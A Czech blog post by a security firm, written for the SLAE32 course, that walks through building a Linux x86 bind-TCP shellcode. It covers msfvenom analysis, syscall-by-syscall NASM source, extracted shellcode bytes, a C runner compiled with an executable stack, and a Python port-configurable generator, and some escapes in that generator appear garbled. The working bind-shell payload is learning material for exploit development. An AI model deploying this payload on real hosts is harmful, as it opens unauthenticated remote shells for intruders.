Shell_Bind_Tcp 32bitový Shellcode

V prvním textu této 32bitové série bude demonstrováno, jak si vytvořit vlastní 32bitový bind tcp shellcode s konfigurovatelným nastavením portu.

Jako inspirace bude použit shell_bind_tcp z msfvenom, který bude analyzován pomocí libemu.

Všechny povinné možnosti nastavení můžeme vidět pomocí:

  • msfvenom -p linux/x86/shell_bind_tcp ––list-options

Je zde pouze jedno povinné nastavení a to „LPORT“.

Shellcode v C si můžeme vytvořit pomocí:

  • msfvenom -p linux/x86/shell_bind_tcp LPORT=9001 -f c

Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:

Následně zkompilujeme C script a spustíme jej:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Jak můžeme vidět na screenu výše, shellcode byl úspěšně spuštěn, otevřel port 9001, poslouchá a čeká na připojení. Nyní můžeme analyzovat shellcode pomocí libemu, abychom plně porozuměli tomu, jak funguje:

• echo -ne “\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x23\x29\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80” | /opt/libemu/tools/sctest/sctest -vvv -Ss 100000 -G shellcode.dot

• dot shellcode.dot -T png -o shellcode.png

Můžeme vidět, že shell_bind_tcp používá tyto syscally:

socket -> bind -> listen -> accept -> dup2 -> execve

Pomocí nástroje strace můžeme vidět, jaké parametry syscally používají:

• strace -e socket,bind,listen,accept,dup2,execve ./shellcode

Číslo syscallu socket můžeme najít pomocí:

• cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket

#define __NR_socket 359 => 0x167

Více informací o syscallu socket najdeme pomocí „man 2 socket“ => int socket(int domain, int type, int protocol); jak vidíme, budeme potřebovat celkem 4 registry.

Hodnoty najdeme pomocí:

  • grep -R „_INET“ /usr/include/
    • PF_INET = 2
  • grep -R „SOCK_STREAM“ /usr/include/
    • SOCK_STREAM = 1
  • grep -R „IPPROTO_IP“ /usr/include/
    • IPPROTO_IP = 0

Nyní můžeme vytvořit první část v assembly:

; Filename: linux_x86_shell_bind_tcp.nasm
; Author: SLAE-14209
 
global _start
 
section .text
 
_start:
 
; syscall socket()
 
  xor eax, eax        ; zeroize EAX register
  xor ebx, ebx        ; zeroize EBX register
  xor ecx, ecx        ; zeroize ECX register
  xor edx, edx        ; zeroize EDX register
  
  mov ax, 0x167       ; syscall socket
  mov bl, 0x2         ; AF_INET = 2
  mov cl, 0x1         ; SOCKET_STREAM = 1
  int 0x80            ; interrupt vector
  mov edi, eax        ; storing EAX into EDI for future references

Následně musíme vytvořit syscall syscall bind. Více informací o syscallu najdeme pomocí „man 2 bind“:

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

  • sockfd = EBX => reference na socket (EAX -> EDI)
  • const struct sockaddr *addr = ECX => pointer na místo do stacku sockaddr struct, který budeme vytvářet

Sockaddr struct (ECX) je složený z:

• AF_INET => 2

• Port number => 9001 decimal = 2329 hex => little endian = 0x2923

• Internet address => 0.0.0.0

• 0

• socklen_t addrlen = EDX => length of the address which the

/usr/include/linux/in.h =>

  • #define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */ => 16

Stack roste z vyšších hodnot k nižším, proto musíme umisťovat argumenty do stacku v obráceném pořadí a používat little endian formát.

Následně můžeme aktualizovat nasm soubor:

; syscall bind()
 
  xor eax, eax        ; zeroize EAX register
  mov ax, 0x169       ; syscall bind()
  mov ebx, edi        ; reference to stored eax with socket()
  xor ecx, ecx        ; zeroize ECX register (=> sockaddr struct)
  push ecx            ; 0
  push ecx            ; Internet address 0.0.0.0
  push word 0x2923    ; push port number 9001 (little endian)
  push word 0x2       ; push AF_INET 2
  mov ecx, esp        ; Stack Pointer -> ECX
  mov dl, 16          ; addrlen (EDX) = 16
  int 0x80

Jako další budeme potřebovat listen() syscall:

  • cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep listen
    • #define __NR_listen 363 => 0x16B
  • man 2 listen:
    • int listen(int sockfd, int backlog);
      • listen() = EAX
      • sockfd = EBX -> reference na EDI
      • backlog = ECX -> 0
; syscall listen()
 
  xor eax, eax
  mov ax, 0x16b       ; syscall listen()
  mov ebx, edi        ; reference na EDI (socket())
  xor ecx, ecx
  int 0x80

Jako další budeme potřebovat accept() syscall:

  • cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep accept
    • #define __NR_accept4 364 => 0x16c
  • man 2 accept4

int accept4(int sockfd, struct sockaddr *addr,

                   socklen_t *addrlen, int flags);

  • listen() = EAX
  • sockfd = EBX => reference na EDI
  • addr = ECX 0
  • addrlen = EDX 0
  • flags = ESI 0
; syscall accept()
xor eax, eax       ; zeroize
mov ax, 0x16c      ; syscall accept()
mov ebx, edi       ; reference na EDI
xor ecx, ecx       ; addr = 0
xor edx, edx       ; addrlen = 0
xor esi, esi       ; flags = 0
int 0x80
xor edi, edi       ; zeroize socket() uložené EDI
mov edi, eax       ; save return value from EAX v EDI

Jako další budeme potřebovat dup2 syscall:

  • cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep dup2
    • #define __NR_dup2 63 => 0x3F
  • man 2 dup2
    • int dup2(int oldfd, int newfd);
      • bude potřeba udělat 3x loop v ECX:
        • STDIN
        • STDOUT
        • STDERR
      • dup2 = EAX

Všechny požadované argumenty pro dup2 jsou v sockfd, který je uložený v accept() syscallu => EDI

; 5. syscall dup2()
 
  mov cl, 0x3        ; counter = 3
  
  loop_dup2:
  xor eax, eax       ; zeroize because of placing dup2()
  mov al, 0x3f       ; syscall dup2()
  mov ebx, edi       ; reference on stored EDI
  dec cl             ; decrementing counter by 1
  int 0x80
  
  jnz loop_dup2      ; jmp not zero

Jako další budeme potřebovat execve syscall:

  • cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve
    • #define __NR_execve 11 => 0xb
  • man 2 execve:
    • int execve(const char *pathname, char *const argv[],

                  char *const envp[]);

  • execve = EAX
  • pathname = EBX = ‚//bin/sh‘ (length 8) terminated by null byte
    • python
      • code = ‚//bin/sh‘
      • code[::-1].encode(‚hex‘)
      • 0x68732f6e    ; ‚hs/n“ 
      • 0x69622f2f    ; ‚ib//‘
  • argv = ECX 0
  • envp = EDX 0
; 6. syscall execve()
 
  xor eax, eax       ; zeroize because of placing execve()
  push eax
  push 0x68732f6e    ; 'hs/n"
  push 0x69622f2f    ; 'ib//'
  mov ebx, esp       ; '//bin/sh' -> ESP
  
  push eax           ; push 0
  mov edx, esp
 
  push ebx
  mov ecx, esp
  mov al, 0xb        ; syscall execve()
  int 0x80

Kompletní nasm soubor můžete nalézt zde: https://github.com/Pal1Sec/SLAE32/blob/master/Assignment%201/linux_x86_shell_bind_tcp.nasm

Nasm soubor zkompilujeme:

  • nasm -f elf32 -o linux_x86_shell_bind_tcp.o linux_x86_shell_bind_tcp.nasm
  • ld linux_x86_shell_bind_tcp.o -o linux_x86_shell_bind_tcp

A spustíme:

Jak můžeme vidět výše, bind shell funguje a otevře port 9001.

Dále si extrahujeme shellcode:

• objdump -d ./linux_x86_shell_bind_tcp|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

Vložíme do původního C skriptu:

#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x69\x01\x89\xfb\x31\xc9\x51\x51\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x89\xfb\x31\xc9\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xfb\x31\xc9\x31\xd2\x31\xf6\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}

Zkompilujeme:

• gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Jak můžeme vidět, vše funguje. Pro zajímavost můžeme zkusit test na virustotal:

Následně můžeme vše optimalizovat, aby byl port jednoduše konfigurovatelný, toho dosáhneme pomocí níže uvedeného python skriptu:

#!/usr/bin/env python2
from sys import argv
 
port = int(argv[1])
porthex = hex(int(port)).replace('0x', '')
 
if len(porthex) < 4:
   porthex = '0' + porthex
 
porthex = '\\x%s\\x%s' % (porthex[0:2], porthex[2:])
print 'Port: %d' % port
print 'Hex: %s' % porthex
 
sc = \
"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x89\\xc7\\x31\\xc0\\x66\\xb8\\x69\\x01\\x89\\xfb\\x31\\xc9\\x51\\x51" + porthex + "\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6b\\x01\\x89\\xfb\\x31\\xc9\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6c\\x01\\x89\\xfb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\xcd\\x80\\x31\\xff\\\\x89\\xc7\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\x89\\xfb\\xfe\\xc9\\xcd\\x80\\x75\\xf4\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\\\xb0\\x0b\\xcd\\x80"
print sc

Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE32

Naše služby

Penetrační testování infrastruktury

Skenování zranitelností webových aplikací a interní infrastruktury

Testování pomocí metod sociálního inženýrství

Testování Wi-Fi sítí

Šifrovaný telefon

Rušičky odposlechů

Šifrovaný disk

Penetrační testování webových aplikací

Konzultace IT bezpečnosti

Vyhledávání odposlechů

Následující příspěvek
Shell_Reverse_Tcp 32bitový Shellcode
Předchozí příspěvek
Check Point: v roce 2019 napadaly botnety firmy až o 50 % více

Podobná témata

Menu